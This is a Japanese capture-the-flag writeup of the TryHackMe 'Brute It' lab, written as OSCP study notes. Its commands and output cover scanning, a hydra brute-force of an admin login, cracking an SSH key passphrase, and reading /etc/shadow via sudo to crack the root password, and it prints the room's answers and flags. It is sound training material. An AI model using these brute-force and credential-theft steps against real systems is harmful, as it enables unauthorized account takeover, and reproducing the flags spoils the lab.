【TryHackMe】Brute It Writeup

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Brute It](https://tryhackme.com/room/bruteit)」というRoomを攻略しました。

今回のRoomは4つのタスクの構成となります。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1  About this box
今回のRoomについての説明である為、省略します。

# Task2  Reconnaissance

## How many ports are open?
いつも通りポートスキャンを実施します。

```
└─$ nmap -Pn -T4 10.10.63.167
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-11 09:16 EDT
Nmap scan report for 10.10.63.167
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

ここでは開いているポートの数を聞かれているので答えは「2」になります。

## What version of SSH is running?
sshのバージョンを聞かれているので「-sV」オプションをつけて確認します。

```
└─$ nmap -sV 10.10.63.167                     

Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-11 09:17 EDT
Nmap scan report for 10.10.63.167
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.38 seconds
```

答えは「OpenSSH 7.6p1」になります。

## What version of Apache is running?
上記のコマンド結果より、答えは「2.4.29」になります。

## Which Linux distribution is running?
同様に答えは「Ubuntu」になります。

## What is the hidden directory?
gobusterコマンドで隠しディレクリを調査します。

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.63.167 -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.63.167
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 312] [--> http://10.10.63.167/admin/]                
```

答えは「/admin」になります。

# Task3 Getting a shell
前タスクで見つけた隠しディレクトリへアクセスすると、ログイン画面が表示されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/c4f3d241-29ad-9e38-1139-8acd0ab779df.png)

加えて開発者ツールのhtmlファイル内にヒントが記載されていました。
usernameがadminと書かれております。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/722312ea-964e-5d33-bd2a-1273b1d972b9.png)

## What is the user:password of the admin panel?
usernameがわかったので、hydraによる総当たりでパスワードを特定します。
ログイン失敗時に出力される文字列をエラーメッセージとして指定し、パスワードの特定を行います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/0ac82c8d-16b2-84b3-4467-e9f99764c80a.png)

```
└─$ hydra -l admin -P rockyou.txt 10.10.63.167 http-post-form "/admin/:user=^USER^&pass=^PASS^:F=Username or password invalid"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-11 09:26:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.63.167:80/admin/:user=^USER^&pass=^PASS^:F=Username or password invalid
[80][http-post-form] host: 10.10.63.167   login: admin   password: xavier
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-11 09:26:46
        
```

よってユーザ名とパスワードが判明した為、ログインを実施します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/5414f881-2756-1d45-3ef6-4fb2fe106411.png)

## What is the user:password of the admin panel?
ユーザ名とパスワードを回答します。
私の環境だと回答フォーマットのコロンがダブルコロンでないとで正解になりませんでした。。(何故？？)

答えは「admin:xavier」になります。

## Crack the RSA key you found. What is John's RSA Private Key passphrase?
ログイン後に出力されたRSAキーをjohn the ripperでクラックします。

ssh2johnコマンドでRASキーからハッシュ値を生成し、Johnコマンドで参照すると、、、

```
└─$ ../../usr/share/john/ssh2john.py id_rsa > output.txt
└─$ john --wordlist=Desktop/rockyou.txt output.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockinroll       (id_rsa)     
1g 0:00:00:00 DONE (2024-03-11 09:59) 14.28g/s 1037Kp/s 1037Kc/s 1037KC/s rubicon..rock14
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

解析が完了しました。
ここでの回答は「rockinroll」になります。

## user.txt
最初にポートスキャンを行った際にssh用のポートが空いていたと思うので、
先ほど解析したログイン情報を使用します。

```
└─$ ssh -i id_rsa john@10.10.63.167 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
john@10.10.63.167's password: 
Permission denied, please try again.
john@10.10.63.167's password: 
john@10.10.63.167: Permission denied (publickey,password).
```
ユーザ名はadminとjohn、パスワードは先ほど解析した文字列を使用してもうまくログインできず、、

確認してみたところ、RSAキー自体の読み込み権限に問題がありそうだったので、、

```
└─$ ssh -i id_rsa john@10.10.63.167
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Mar 11 14:15:02 UTC 2024

  System load:  0.08               Processes:           104
  Usage of /:   25.7% of 19.56GB   Users logged in:     0
  Memory usage: 20%                IP address for eth0: 10.10.63.167
  Swap usage:   0%


63 packages can be updated.
0 updates are security updates.


Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106
john@bruteit:~$ 
```

RSAキーの権限を変更することでログイン出来ました。

```
john@bruteit:~$ ls
user.txt
john@bruteit:~$ 
john@bruteit:~$ cat user.txt
THM{a_password_is_not_a_barrier}
john@bruteit:~$ 
```

よってこちらの回答は、「THM{a_password_is_not_a_barrier}」になります。

## Web flag

Web上でのブラウザに記載のある通り、「THM{brut3_f0rce_is_e4sy}」になります。

# Privilege Escalation

まず現ユーザ(John)が特権で実行できるコマンドを確認します。
```
john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
```

どうやらcatコマンドが使えそう。

TryHackMeより、catコマンドを使用してテキストファイル内のフラグを取得することが出来そうですが、まずrootユーザのパスワードを探します。

## Find a form to escalate your privileges.What is the root's password?
今回の解き方はぱっと不明だったので調査した所、どうやら「etc/shadow」にパスワード情報が格納されているとのこと。

かつその情報はハッシュ値である為、catコマンドで出力した文字列にjohnコマンドをあて解析を試みます。
```

john@bruteit:~$ sudo cat /etc/shadow
...
...

└─$ john -wordlist=rockyou.txt ../pass.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football         (root)     
```

よってrootユーザのパスワードを解析することができました。
回答は「football」になります。

## root.txt
```
john@bruteit://home$ sudo cat ../root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

# さいごに
以上となります。
以前の投稿よりかなり期間が空いてしまったので、徐々に再開できたらと思います。。